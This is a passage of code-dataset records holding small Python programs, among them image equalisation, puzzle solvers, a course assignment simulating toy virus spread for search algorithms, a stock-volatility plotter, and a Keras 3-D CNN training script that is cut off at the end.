+{"seq_id":"388349959","text":"import numpy as np\nimport cv2\n\ndef hisEqulColor(img):  \n    ycrcb = cv2.cvtColor(img, cv2.COLOR_BGR2YCR_CB)  \n    channels = cv2.split(ycrcb)  \n    cv2.equalizeHist(channels[0], channels[0]) #equalizeHist(in,out)  \n    cv2.merge(channels, ycrcb)  \n    img_eq=cv2.cvtColor(ycrcb, cv2.COLOR_YCR_CB2BGR)  \n    return img_eq\n\nif __name__ == \"__main__\":\n    path=\"./sample/crop_20180620092356.jpg\"\n    rs_path=\"./result.jpg\"\n    image = cv2.imread(path)\n    image = hisEqulColor(image)\n    cv2.imwrite(rs_path, image)","sub_path":"imageProcess/hisEqulColor.py","file_name":"hisEqulColor.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"630180241","text":"data = []\nwith open(\"problem11.txt\", 'r') as f:\n    data = f.read().strip('\\n').split('\\n')\n\ndata = '\\n'.join(data).split('\\n\\n')\n\ndef get_monkey_func(op, inp1, inp2):\n    if op == '*':\n        return lambda x: (x if inp1 == 'old' else int(inp1)) * (x if inp2 == 'old' else int(inp2))\n    if o_detail[1] == '+':\n        return lambda x: (x if inp1 == 'old' else int(inp1)) + (x if inp2 == 'old' else int(inp2))\n\nmonkeys = []\nfor d in data:\n    expanded = d.split('\\n')\n    start_items_list = expanded[1].replace('Starting items: ', '')\n    start_items = [int(x) for x in start_items_list.split(', ')]\n    operation = expanded[2].split(' = ')[1]\n    o_detail = operation.split()\n    test = int(expanded[3].replace('Test: divisible by ', ''))\n    true = int(expanded[4].replace('If true: throw to monkey ', ''))\n    false = int(expanded[5].replace('If false: throw to monkey ', ''))\n    monkeys.append((start_items.copy(), get_monkey_func(o_detail[1], o_detail[0], o_detail[2]), test, true, false))\n\n\nitem_checks = [0 for m in monkeys]\nfor i in range(20):\n    for j in range(len(monkeys)):\n        items, func, test, true, false = monkeys[j]\n        item_checks[j] += len(items)\n        while len(items) > 0:\n            item = items.pop(0)\n            new_item = func(item)\n            new_item = new_item // 3\n            if new_item % test == 0:\n                monkeys[true][0].append(new_item)\n            else:\n                monkeys[false][0].append(new_item)\n\nitem_checks = sorted(item_checks, reverse=True)\nprint(item_checks[0] * item_checks[1])\n","sub_path":"2022/P11/problem11a.py","file_name":"problem11a.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"289315921","text":"'''\nEric Eckert\nDerek Wang\neric95\nd95wang\nAssignent 4 \nCSE 415 sp17\nTanimoto\nWicked Problem: Infecting the World's population with a virus\n'''\n\n#<METADATA>\nQUIET_VERSION = \"0.2\"\nPROBLEM_NAME = \"Infecting the World\"\nPROBLEM_VERSION = \"0.2\"\nPROBLEM_AUTHORS = ['E. Eckert', 'D. Wang']\nPROBLEM_CREATION_DATE = \"28-APR-2017\"\nPROBLEM_DESC=\\\n        '''\nEight Puzzle uses generic Python 3\n'''\n\n#</METADATA>\n\n#<COMMON_CODE>\n# state_changes is a dictionary of all state change parameters and whether they\n# are activated or not\n\nimport random\nimport itertools\n\ni_threshold = 0.9\nr_threshold = 0.9\n\n# Test to see which moves are illegal\ndef can_move(s, city):\n    try:\n        #moves are illegal if....\n        if (s.world.cities[city].i_pop == 0):\n            #City has not been touched by virus yet\n            return False\n        if (s.world.cities[city].i_pop/s.world.cities[city].total_pop > i_threshold):\n            #City is fully infected (concquered) at > 90% infected population\n            return False\n        if (s.world.cities[city].r_pop/s.world.cities[city].total_pop > 0.9):\n            #City is fully removed (either everyone's dead or vaccinated, we've lost the city)\n            #at >90% removed\n            return False\n            \n        return True\n\n    except (Exception) as e:\n        print(e)\n\n# performe a move- the world progresses a single unit of time.\ndef move(s, state_changes, cityname):\n    \n    news = s.__copy__()\n    world2 = news.world\n    inf2 = news.infection\n    city = world2.cities[cityname]\n    \n    #check if city is quarantined. If it's quarantined, it can't infect neighbors\n    #and can't be quarantined again.\n    if not cityname in world2.quarantined:\n        \n        if state_changes['neighbor']:\n            #infect neighboring city\n            # list of cities neighboring this city\n            if cityname in news.world.routes:\n                routeDestinations = news.world.routes[cityname]\n                \n                #iterate through destination cities in routes\n                #TODO: change the way we infect other cities\n                for destCity in routeDestinations:\n                    #randomly determine if that city will be infected or not\n                    infect = random.randint(0,1)\n                    \n                    if (infect):\n                        target = world2.cities[destCity]\n                        #check if target is quarantined\n                        if not target in world2.quarantined:\n                            # Add flow rate * infect rate to target's infected population\n                            target.i_pop += inf2.irate * world2.countries[city.country].flow_rate * city.s_pop\n            \n        if state_changes['quarantine']:\n        # a city begins to quarantine\n            # remove ciy from routes dictionary\n            if cityname in news.world.routes:\n                del news.world.routes[cityname]\n            #add city to quarantine list\n            world2.quarantined.append(cityname)\n        \n    if state_changes['mutation']:\n        #mutate virus\n        \n        #increase infection rate\n        #generate random int between -2 and 2\n        dirate = random.randint(-2,2)\n        #if change causes irate to be less than 0, make sure it goes positive (can't have negative infection rate)\n        if (inf2.irate + dirate < 0):\n            dirate = -dirate\n        \n        #Irate will be increased or decreased by up to 2%\n        inf2.irate += 0.01 * dirate\n        \n        #change removal rate\n        dremrate = random.randint(-2,2)\n        if (inf2.remrate + dremrate < 0):\n            dremrate = -dremrate\n        inf2.remrate += 0.01 * dremrate\n    \n    \n    if state_changes['medicine']:\n        #city starts developing resistance, figting back\n        #calculate a logaritmic increase in resistance\n        world2.cities[cityname].medicine = city.medicine + (1/city.medicine) \n        \n    if state_changes['infect']:\n        #further infection occurs\n        temp = world2.cities[cityname]\n        world2.cities[cityname] = inf2.infect(temp)\n        \n    return news\n\ndef goal_test(state):\n    takencount = 0\n    for cityname, city in state.world.cities.items():\n        if (city.i_pop / city.total_pop > 0.4):\n            takencount += 1\n            \n    return (takencount == 3)\n\ndef goal_message(s):\n    return \"The world is infected!\"\n\nclass Operator:\n    def __init__(self, name, precond, state_transf):\n        self.name = name\n        self.precond = precond\n        self.state_transf = state_transf\n\n    def is_applicable(self, s):\n        return self.precond(s)\n\n    def apply(self, s):\n        return self.state_transf(s)\n\n# An infection is an arbitrary disease with an infection rate as well as\n# a removal rate (the rate at which a virus kills and/or fails to infect.\n# The result is a member of the population that cannot be infected and cannot\n# disribute the virus)\nclass Infection():\n    def __init__(self, name ,irate, remrate):\n        self.irate = irate\n        self.remrate = remrate\n        self.name = name\n        \n    def infect(self, city):\n        \n        # natural removal rate of virus plus removal rate caused by the city's\n        # medicine combatting the infection\n        true_remrate = self.remrate + city.medicine / 100\n        \n        #Using the SIR model for a viral epidemic:\n        #calculate delta values for S (susceptible population), I (Infected population),\n        # and R (removed population: dead or immune to virus)\n        dS = -(self.irate * city.s_pop * city.i_pop) / city.total_pop\n        dI = ((self.irate * city.s_pop * city.i_pop) / city.total_pop) - (true_remrate * city.i_pop)\n        dR = true_remrate * city.i_pop\n        \n        #update values for city\n        city.s_pop += dS\n        city.i_pop += dI\n        city.r_pop += dR\n        return city\n\n# The world object contains a set of cities and a set of countries\nclass World():\n    def __init__(self, cities, countries, routes):\n        self.cities = cities\n        self.countries = countries\n        self.quarantined = []\n        self.routes = routes\n        \n    def addRoute(self, dest, source):\n        self.routes[source].append(dest)\n\n    def __lt__(self, s2):\n        return True\n\n# City object containing infected population count, the non infected population\n# count, the cities medical effectiveness, city size in area, and the country\n# the city resides in \nclass City():\n    def __init__(self, name, i_pop, s_pop, r_pop, medicine, country):\n        self.name = name # name of city\n        self.i_pop = i_pop # infected population\n        self.s_pop = s_pop # susceptible population\n        self.r_pop = r_pop # removed population\n        self.medicine = medicine # medicine to determine resistance to combat infection\n        #self.area = area # currently not used: area of city to calculate population density\n        self.country = country # country that city exists in\n        self.total_pop = i_pop + s_pop + r_pop # total population\n        self.rem_rate = medicine / 100\n        \n    def __eq__(self, city2):\n        if not (type(self)==type(city2)): return False\n        return self == city2\n        \n    def __lt__(self, s2):\n        return True\n        \n# A country contains helper information for dictating the spread rate of the\n# infection between cities. Each country contains a travel cost, flow rate\nclass Country():\n    def __init__(self, name, flow_rate):\n        self.name = name\n        #self.t_cost = t_cost #t_cost is unused right now\n        self.flow_rate = flow_rate #the density of travel from this country\n    \n#</COMMON_CODE>\ncomplete = \"?\"\n\n\n#<STATE>\nclass State():\n    def __init__(self, world, infection):\n        self.world = world\n        self.infection = infection\n\n    def __str__(self):\n        # Produces a brief textual description of a state.\n        worldname = \"World1\"\n        infectionname = self.infection.name\n        txt = \"The infection state of \" + worldname + \" for the infection \" + infectionname + \". \\n\"\n        txt += \"   Infection Status -- infection rate: \" + str(self.infection.irate) + \"   removal rate: \" + str(self.infection.remrate) + \"\\n\"\n        for city in self.world.cities:\n            txt += \"   Infected for \" + city + \" \" + str(self.world.cities[city].i_pop) + \"   Total Population for \" + city + \": \" + str(self.world.cities[city].total_pop) + \"\\n\"\n        return txt\n\n    def __eq__(self, s2):\n        if not (type(self)==type(s2)): return False\n        w1 = self.world; w2 = s2.world; i1 = self.infection; i2 = s2.infection\n        return (w1==w2 and i1==i2)\n\n    def __hash__(self):\n        return (str(self)).__hash__()\n\n    def __copy__(self):\n        # Performs an appropriately deep copy of a state,\n        # for use by operators in creating new states.\n        new_infection = Infection(self.infection.name,self.infection.irate, self.infection.remrate)\n        #new_infection = self.infection\n        \n        new_city_map = {}\n        for cityname, city in self.world.cities.items():\n            #temp_city = City(city.name, city.i_pop, city.s_pop, city.r_pop, city.medicine, city.country)\n            temp_city = self.world.cities[cityname]\n            new_city_map[cityname] = temp_city\n            \n        new_country_map = {}\n        for countryname, country in self.world.countries.items():\n            temp_country = self.world.countries[countryname]\n            new_country_map[countryname] = Country(country.name, country.flow_rate)\n            \n        new_routes_map = {}\n        for source, destinations in self.world.routes.items():\n            new_routes_map[source] = destinations\n            \n        new_world = World(new_city_map, new_country_map, new_routes_map)\n        \n        news = State(new_world, new_infection)\n        \n        return news\n\n    def __lt__(self, s2):\n        return True\n\n#</STATE>\n\n\n#<INITIAL_STATE>\n\n#TODO add an initial state\ncity1 = City(\"City1\", 100, 20000, 0, 1, \"Nation1\")\ncity2 = City(\"City2\", 0, 40000, 0, 2, \"Nation1\")\ncity3 = City(\"City3\", 0, 30000, 0, 3, \"Nation1\")\ncity4 = City(\"City4\", 0, 20000, 0, 4, \"Nation1\")\ncity5 = City(\"City5\", 0, 10000, 0, 1, \"Nation1\")\n\ncities = {\n    \"City1\" : city1,\n    \"City2\" : city2,\n    \"City3\" : city3,\n    \"City4\" : city4,\n    \"City5\" : city5\n    }\n\ntemp = {}\n\nroutes = {\n    'City1': [\"City2\", \"City3\"],\n    'City5': [\"City1\", \"City2\", \"City3\", \"City4\"],\n    'City4': [\"City5\"],\n    'City3': [\"City1\", \"City4\"],\n    'City2': [\"City5\", \"City1\", \"City3\"]\n}\n\ninfection = Infection(\"Best_Infection\",0.02, 0.03)\n\nNation1 = Country(\"Nation1\", 0.05)\n\ncountries = {\"Nation1\" : Nation1}\n\nWorld1 = World(cities, countries, routes)\n\nINITIAL_STATE = State(World1, infection)\nCREATE_INITIAL_STATE = lambda: INITIAL_STATE\n\n#</INITIAL_STATE>\n\n#<OPERATORS>\n# Calculate all possible legal movement combination\n\n# list of state change keys\nstate_changes = ['neighbor', 'medicine', 'quarantine', 'infect', 'mutation']\nstate_change_possibilities = []\n\n# generate every possible combination of 1 and 0 of length 5\nfor x in itertools.product(range(2), repeat=5):\n    #print(x)\n    # map key list to combination of 1 and 0s\n    temp = dict(zip(state_changes, x))\n    #print(temp)\n    # add mapped dictionary to list\n    state_change_possibilities.append(temp)\n    \n    # TODO cities is a list of cities derived from the INITIAL_STATE\n\n\nmove_possibilities = []\n\nfor a in itertools.product(state_change_possibilities, INITIAL_STATE.world.cities):\n    move_possibilities.append(a)\n\n#print(combinations)\n\n#every single possible state change possibility for every single city\nOPERATORS = [Operator((state_changes, city),\n                      lambda s, c = city: can_move(s, c),\n                      # The default value construct is needed\n                      # here to capture the values of p&q separately\n                      # in each iteration of the list comp. iteration.\n                      lambda s, sc = state_changes, c = city: move(s,sc, c) )\n             #for (state_changes, city) in (state_change_possibilities, s.world.cities)\n             for (state_changes, city) in move_possibilities]\n\n             \n\n#</OPERATORS>\n\n#<HEURISTICS> (optional)\n# Heuristic Function for A star search algorithm\ndef h_custom(state):\n    # Using A star search, a 'better' heuristic would yield a smaller value if the board is closer to total infection\n    # This means that the heuristic should be based on a summarization of the state of each city\n    # This value will be shifted based on the state of the infection as well as the combativeness of cities and\n    city_list = state.world.cities\n    infection_ratio_sum = 0\n    medicine_weight = 0\n    taken_counter = 0\n    vaccine_rate = 0\n\n    for city in city_list:\n        infection_ratio_sum += state.world.cities[city].i_pop / state.world.cities[city].s_pop\n        taken_counter += (1 if (state.world.cities[city].i_pop / state.world.cities[city].total_pop) > i_threshold else 0)\n        medicine_weight += (1/ state.world.cities[city].medicine)\n        vaccine_rate += state.world.cities[city].rem_rate\n        \n    sum_cities = ((infection_ratio_sum * 7) + (medicine_weight * 5) + taken_counter) / len(city_list)\n    quarantine_weight = len(state.world.quarantined) / len(city_list) * 5\n    infectivity_weight = state.infection.irate * 5\n    infect_rem_rate_weight = state.infection.remrate / 100\n    vaccine_rate = vaccine_rate / len(city_list) / 100\n    return 1 / (sum_cities + quarantine_weight + infectivity_weight + infect_rem_rate_weight - vaccine_rate)\n    \nHEURISTICS = {'h_custom': h_custom}\n#</HEURISTICS>\n\n#<GOAL_TEST>\nGOAL_TEST = lambda s: goal_test(s)\n#</GOAL_TEST>\n\n#<GOAL_MESSAGE_FUNCTION>\nGOAL_MESSAGE_FUNCTION = lambda s: goal_message(s)\n#</GOAL_MESSAGE_FUNCTION>\n\n","sub_path":"Infect_world.py","file_name":"Infect_world.py","file_ext":"py","file_size_in_byte":13750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"549421483","text":"# =====================================================\r\n# Stacks - evaluate the postfix expression\r\n# =====================================================\r\n\r\nfrom Stack import Stack\r\n\r\ndef evaluate_postfix_expression(postfix_in_list):\r\n    expression_stack = Stack()\r\n    allowed_operators = \"+-/*\"\r\n\r\n    for i in postfix_in_list:\r\n        if i in allowed_operators:  #operator\r\n            if expression_stack.size() > 1:\r\n                number2 = expression_stack.pop()\r\n                number1 = expression_stack.pop()\r\n                result = compute(int(number1), int(number2), i)\r\n                expression_stack.push(result)\r\n            else:\r\n                return \"Error while parsing postfix expression\"\r\n        else: #operand\r\n            expression_stack.push(i)\r\n\r\n    return expression_stack.pop()\r\n\r\n\r\ndef compute(number1, number2, operator):\r\n    if operator == \"+\":\r\n        return number1 + number2\r\n    elif operator == \"-\":\r\n        return number1 - number2\r\n    elif operator == \"*\":\r\n        return number1 * number2\r\n\r\n    return number1 / number2\r\n\r\n\r\nfile_of_expressions = open('PostfixExpressions.txt', 'r')\r\nfor line in file_of_expressions:\r\n    print(line[0:-1], \":\", evaluate_postfix_expression(line.split()))\r\n\r\n\r\n\r\n\r\n","sub_path":"Lec 13 help/Lec13Examples/Example_03.py","file_name":"Example_03.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"483007739","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport urllib.request\nimport datetime as datetime\nimport sys\nimport re\n\n_debut = datetime.datetime.now()\n\ndef check_date(debut, fin):\n    \"\"\"chose a date with format \"JJ-MM-YYYY\" \"\"\"\n    try:\n        debut = datetime.datetime.strptime(debut, '%d-%m-%Y')\n        fin = datetime.datetime.strptime(fin, '%d-%m-%Y')\n    except ValueError:\n        print('Error : date must have the fallowing format \"JJ-MM-YYYY\"')\n        sys.exit()\n\n    try:\n        if debut > fin:\n            raise ValueError('Error : date debut is bigger than date fin')\n        else:\n            return debut, fin\n    except ValueError as e:\n        print(e)\n        sys.exit()\n\ndef get_data(action, debut, fin):\n    if check_date(debut, fin):\n        debut, fin = check_date(debut, fin)\n        try:\n            base = 'http://real-chart.finance.yahoo.com/table.csv?'\n            url_fin = 's={action}&d={month}&e={day}&f={year}'.format(action = action,month = fin.month-1, day = fin.day, year = fin.year)\n            url_debut = '&g=d&a={month}&b={day}&c={year}&ignore=.csv'.format(month = debut.month-1,  day = debut.day, year = debut.year)\n            url = base+url_fin+url_debut\n            print('Step 01 : Fetch data {} : ok '.format(action))\n            return urllib.request.urlopen(url).readlines()\n        except urllib.error.HTTPError as e:\n            print('Error :'+str(e.code))\n            return None\n\ndef analyse(data):\n    try:\n        date = [datetime.datetime.strptime(e[0][2:], '%Y-%m-%d') for e in [str(e).split(',') for e in data[1:]]][::-1]\n        close = np.array([float(e[4]) for e in [str(e).split(',') for e in data[1:]]])[::-1]\n        periode = 30\n        rendements = ((close[1:] / close[0: close.size-1]) - 1)*100\n        std = np.array([np.std(rendements[k - periode: k]) for k, v in enumerate(rendements) if k >= periode])\n        mu = np.array([np.mean(rendements[k - periode: k]) for k, v in enumerate(rendements) if k >= periode])\n        vat = np.array([(m - (s*1.645)) for m, s in zip(mu, std)])\n\n        print('Step 02 : Analyse : ok ')\n        return [date, close, rendements, vat, mu, std, periode]\n    except:\n        print('Error : Can\\'t process the data, system Error message', sys.exc_info()[0])\n        sys.exit()\n\ndef tracer(action, name, show=None):\n\n    try:\n        grid_size = (6,1)\n\n        ax1 = plt.subplot2grid(grid_size, (0,0), rowspan=4, colspan=1)\n        ax1.plot(action[0], action[1],label='cotations')\n        ax1.set_xlim(min(action[0]), max(action[0]))\n        ax1.set_ylim(min(action[1]), max(action[1]))\n        ax1.set_xlabel('date')\n        ax1.set_ylabel('Valeur de l\\'action')\n\n        titre = 'Cotations de l\\'action {action} du {de} au {fin}'\n        titre = titre.format(action=name, de=min(action[0]).strftime('%d/%m/%Y')\n                            ,fin=max(action[0]).strftime('%d/%m/%y'))\n        ax1.set_title(titre)\n        ax1.grid(True)\n        #ax1.axes.xaxis.set_visible(False)\n        #ax1.legend()\n\n        ax2 = plt.subplot2grid(grid_size, (4,0), rowspan = 1, colspan = 1, sharex = ax1)\n        ax2.plot(action[0][1:], action[2], 'r', label = 'rendements')\n        ax2.plot(action[0][action[6]+1:len(action[0])], action[3], 'b-')\n        ax2.set_ylabel('rendements en %')\n        ax2.grid(True)\n        #ax2.axes.xaxis.set_visible(False)\n        #ax2.legend()\n\n        ax3 = plt.subplot2grid(grid_size, (5,0), rowspan = 1, colspan = 1, sharex = ax1)\n        ax3.bar(action[0][1:], action[2]**2, label = 'cluster de volatilité')\n        ax3.grid(True)\n        ax3.set_ylabel('cluster de volatilité')\n        #ax3.axes.yaxis.set_visible(False)\n        #ax3.legend()\n\n        plt.subplots_adjust(hspace = 0)\n        plt.setp(ax1.get_xticklabels(), visible = False)\n        plt.setp(ax2.get_xticklabels(), visible = False)\n        plt.setp(ax3.get_yticklabels(), visible = False)\n\n        if (show == True):\n            plt.show()\n            plt.savefig(str(name)+'.pdf')\n        else:\n            plt.savefig(str(name)+'.pdf')\n        print('Step 03 : Trace : ok ')\n    except:\n        print('trace Error : Can\\'t process the data, system Error message', sys.exc_info()[0])\n        sys.exit()\n\ndef main(arg):\n    if len(arg)-1 < 3:\n        print('This program require 3 paramaters \\\n            this program got {}'.format(len(arg)-1))\n        print('@param 1 : action, @param 2 : date_debut, @param 3 : date_fin')\n    else: \n        try:\n            action = arg[1]\n            debut = arg[2]\n            fin = arg[3]\n            tracer(analyse(get_data(action, debut, fin)), action)\n            print('Program complete')\n        except TypeError as e:\n            print('Error can\\'t load data, Loc main()', e)\n\ndef test():\n    print('jusqu\\’ ici tout va bien')\n\nif __name__ == '__main__':\n    # for action in ['air.pa']:#, 'bnp.pa', 'amzn', 'edf.pa', 'goog', 'fp.pa']:\n    #     arg = []\n    #     arg.append(None)\n    #     arg.append(action) \n    #     arg.append('23-01-2014')\n    #     arg.append('23-01-2015')\n    #     print('arg :',arg[1:],', argv :', sys.argv[1:])\n    #     main(arg)\n    main(sys.argv)\n    resultat = datetime.datetime.now() - _debut\n    print(resultat.seconds)\n","sub_path":"core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":5201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"486309102","text":"def solution(number, k):\n    stack = [\"0\"]\n    # 처음 빈문자를 넣었으므로 0을 지우기 위해 k를 하나 증가시킨다.\n    k += 1\n    for i in range(len(number)):\n        if k == 0:\n            stack.append(number[i])\n            continue\n        while k > 0:\n            # 비어있지 않으면 number[i]로 계속 비교해 나간다. stack의 마지막 값보다\n            # number[i]가 더 크면 stack[-1]을 제거해 나간다.\n            if number[i] > stack[-1]:\n                stack.pop()\n                k -= 1\n            if len(stack) == 0 or number[i] <= stack[-1] or k==0 :\n                stack.append(number[i])\n                break\n    if k != 0:\n        stack = stack[:-k]\n    return ''.join(stack)\nprint(solution(\"999\", 2))\n\n\n\n# # 왜 에러가 나는지 모르겠다.\n# def solution(number, k):\n#     result_len = len(number) - k\n#     max_idx = 0\n#     result = []\n#     # 과정을 반복한다.\n#     # 커서의 위치 인덱스\n#     idx = 0\n#     while True :\n#         # number[idx:idx+k] 중에서 최대값 인덱스 찾기\n#         # 부분 최대값의 인덱스는 max_idx\n#         max_idx = number[idx:idx+k+1].find(max(number[idx:idx+k+1]))\n#         # idx += (max_idx + 1)\n#         idx += max_idx + 1\n#         if idx == len(number) - k:\n#             return number[:idx]\n#         # 최대값만 result에 담는다.\n#         result += number[idx-1]\n#         # k -= max_idx\n#         k -= max_idx if max_idx != 0 else 1\n#         # k == 0 이면 result += number[idx:]\n#         if k <= 0:\n#             result += number[idx:]\n#             break\n#     return ''.join(result) if len(result) == result_len else ''.join(result[:-(len(result)-result_len)])\n\n#지원\n# def solution(number, k):\n\n#     max_num =[]\n\n#     for idx,num in enumerate(number):\n#         #                          이전 숫자    현재 숫자 제거된 숫자 카운트 용\n#         while len(max_num) >0 and max_num[-1] < num and k >0:\n#             max_num.pop()\n#             k-=1 # 숫자 카운트\n#         if k==0: #제거된 횟수를 다 썻댜\n#             max_num+= list(number[idx:])\n#             break\n#         max_num.append(num)\n#     print(max_num)\n#     # 이 조건 이해가 안감\n#     # 숫자가 내림차순\n#     #9876\n#     if k>0:\n#         max_num = max_num[:-k] \n#     # k가 0 이면 빈 리스트가 되기 때문에 if를 이용해서 조건을 걸어준다.\n#     answer = ''.join(max_num)\n\n\n\n# 용철\n# def solution(number, k):\n#     start = 1\n#     while k != 0:\n#         check = True\n#         for i in range(start,len(number)):\n#             if number[i-1] < number[i]:\n#                 number = number[:i-1] + number[i:]\n#                 k -= 1\n#                 if i-1 <= 0:\n#                     start = 1\n#                 else:\n#                     start = i - 1\n#                 check = False\n#                 break\n#         if check == True:\n#             number = number[:len(number)-k]\n#             break\n#     return number\n\n\n\n\n\n\n# def find_max(string):\n#     max_num = \"0\"\n#     max_idx = 0\n#     for i in range(len(string)):\n#         if string[i] > max_num :\n#             max_num = string[i]\n#             max_idx = i\n#     return max_idx\n\n# # 왜 에러가 나는지 모르겠다.\n# def solution(number, k):\n#     max_idx = 0\n#     result = []\n#     # 과정을 반복한다.\n#     # 커서의 위치 인덱스\n#     idx = 0\n#     while True :\n#         # number[idx:idx+k] 중에서 최대값 인덱스 찾기\n#         # 부분 최대값의 인덱스는 max_idx\n#         max_idx = find_max(number[idx:idx+k+1])\n#         # idx += (max_idx + 1)\n#         idx += (max_idx + 1)\n#         # 최대값만 result에 담는다.\n#         result += number[idx-1]\n#         # k -= max_idx\n#         k -= max_idx\n#         # k == 0 이면 result += number[idx:]\n#         if k == 0:\n#             result += number[idx:]\n#             break\n#     return ''.join(result)","sub_path":"Programmers/Programmers_lv2/Programmers_lv2_큰수만들기.py","file_name":"Programmers_lv2_큰수만들기.py","file_ext":"py","file_size_in_byte":3966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"460431846","text":"\n\n# author: Hamidreza Nademi\n# student number: 9725824\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom functools import reduce\n\n\ndef plot_figure(array_x, array_y):\n    \"\"\"Plot figure\"\"\"\n    plt.plot(array_x, array_y, 'x')\n    plt.axis('equal')\n    print(calculate_covariance(array_x, array_y))\n    plt.show()\n\n\ndef calculate_covariance(array_x, array_y):\n    \"\"\" Calculate covariance by hand\"\"\"\n    # Question 2:\n    k = 1000\n    # calculate sum of x\n    sum_x = reduce((lambda x, y: x+y), array_x)\n    # calculate sum of y\n    sum_y = reduce((lambda x, y: x+y), array_y)\n\n    # calculate mean for x and y\n    mean_x, mean_y = sum_x/k, sum_y/k\n\n    # create an empty 2*2 matrix for new covariance\n    t = np.zeros((2, 2), dtype=float)\n\n    # calculate covariance matrix\n    \n    for i in range(0, k):\n        t[0, 0] = t[0, 0]+(array_x[i]-mean_x)*(array_x[i]-mean_x)\n        t[0, 1] = t[0, 1]+(array_x[i]-mean_x)*(array_y[i]-mean_y)\n        t[1, 0] = t[1, 0]+(array_y[i]-mean_y)*(array_x[i]-mean_x)\n        t[1, 1] = t[1, 1]+(array_y[i]-mean_y)*(array_y[i]-mean_y)\n    t = t/k\n    return t\n\n\ndef main():\n    cov_figure1 = [[1, 0], [0, 1]]  # diagonal covariance\n    cov_figure2 = [[1, 0.9], [0.9, 1]]  # diagonal covariance\n\n    mean = [0, 0]  # mean or avreage\n    k = 1000  # number of samples to generate\n\n    x_figure1, y_figure1 = np.random.multivariate_normal(\n        mean, cov_figure1, k).T\n    x_figure2, y_figure2 = np.random.multivariate_normal(\n        mean, cov_figure2, k).T\n\n    plot_figure(x_figure1, y_figure1)\n    plot_figure(x_figure2, y_figure2)\n\n\nmain()\n","sub_path":"Pattern Recognition/Practical#1/practical#1.py","file_name":"practical#1.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"215789591","text":"#!/usr/bin/python\n'''The first model to train a CNN that uses EM density map as input samples \n   and 3-D matrix derived from pdb file\n'''\n\n\nimport keras\n#from keras.datasets import mnist\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Conv3D, Reshape, Flatten, MaxPooling3D, Dense, Dropout\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint, TerminateOnNaN,ModelCheckpoint, CSVLogger\nimport keras.utils\nfrom keras import utils as np_utils\nfrom keras import optimizers\nfrom keras import regularizers\nfrom keras import backend as K\nimport tensorflow as tf\nimport h5py\nimport numpy as np\nimport random\nimport time\nimport sys\n\nbox_size=sys.argv[1]\nmaps=sys.argv[2]\nratio=sys.argv[3]\nprint(\"box size\",sys.argv[1])\nprint(\"map size\",sys.argv[2])\nprint(\"ratio size\",sys.argv[3])\n\nprint(\"input argument is working\")\n############# global variables ##############################################################################\nstart_time=time.time()\n\nepochs = 200 # how many times we go through each sample in one iteration before we go to the next sample\nstop_here_please = EarlyStopping(patience=5)\nstop_immediately=TerminateOnNaN()\ncsv_logger = CSVLogger(\"logs/training_box_\"+str(box_size)+\"_maps_\"+str(maps)+\"_ratio_\"+str(ratio)+\".log\")\nsave_best_model=ModelCheckpoint('models/best/my_map_model_box_'+str(box_size)+'_maps_'+str(maps)+'_ratio_'+str(ratio)+'_best.h5', monitor='val_loss', verbose=0, save_best_only=True, save_weights_only=False, mode='auto', period=1)\n\n############# the data preparation ###########################################################################\n#loading training data\nx_train= np.load('train_data_binary/train_data_box_'+str(box_size)+'_'+str(maps)+'_ratio_'+str(ratio)+'.npy')\n\nprint(\"length of x_train: \",len(x_train))\nprint(\"shape of x_train: \",x_train.shape)\nprint(\"type of x_train: \",type(x_train))\n\ny_train= np.load('train_data_binary/train_labels_box_'+str(box_size)+'_'+str(maps)+'_ratio_'+str(ratio)+'.npy')\nprint(\"length of y_train: \",len(y_train))\nprint(\"shape of y_train: \",y_train.shape)\nprint(\"type of y_train: \",type(y_train))\n\n# x reshape, x dimension is set to 5 (sample,dim1,dim2,dim3,channel)\nprint(\"shape of x_train before: \",x_train.shape)  \nx_train = np.expand_dims(x_train, axis=4)\nprint(\"shape of x_train after: \",x_train.shape)\n\n# y reshape, y dimension is set to 5 (sample,dim1,dim2,dim3,channel)\nprint(\"shape of y_train before: \",y_train.shape)  \n#y_train = np.expand_dims(y_train, axis=4)\n#print(\"shape of x_train after: \",y_train.shape)\n\n############# the sequantial model ##############################################################################\nmodel = Sequential()\nmodel.add(Conv3D(10, kernel_size=(3,3,3), activation='relu', input_shape=(9,9,9,1), padding='same'))\nmodel.add(Conv3D(12, kernel_size=(3,3,3), activation='relu', padding='same'))\nmodel.add(Conv3D(24, kernel_size=(3,3,3), activation='relu', padding='valid'))\nmodel.add(Conv3D(48, kernel_size=(3,3,3), activation='relu', padding='same'))\nmodel.add(Conv3D(72, kernel_size=(3,3,3), activation='relu', padding='valid'))\nmodel.add(Conv3D(96, kernel_size=(3,3,3), activation='relu', padding='valid'))\nmodel.add(Conv3D(96, kernel_size=(3,3,3), activation='relu', padding='valid'))\n#model.add(MaxPooling3D(pool_size=(3,3,3)))\nmodel.add(Flatten())\n#model.add(Dense(300,activation='relu'))\n#model.add(Dropout(0.25))\n#model.add(Dense(150,activation='relu'))\n#model.add(Dropout(0.25))\nmodel.add(Dense(50,activation='relu'))\n#model.add(Dropout(0.25))\nmodel.add(Dense(1, activation='sigmoid'))\n\nnadam_adj = keras.optimizers.Nadam(lr=0.0001, beta_1=0.9, beta_2=0.999, epsilon=None, schedule_decay=0.004)\nmodel.compile(loss='binary_crossentropy', optimizer=nadam_adj,metrics=['accuracy'])\n#model.compile(loss='binary_crossentropy', 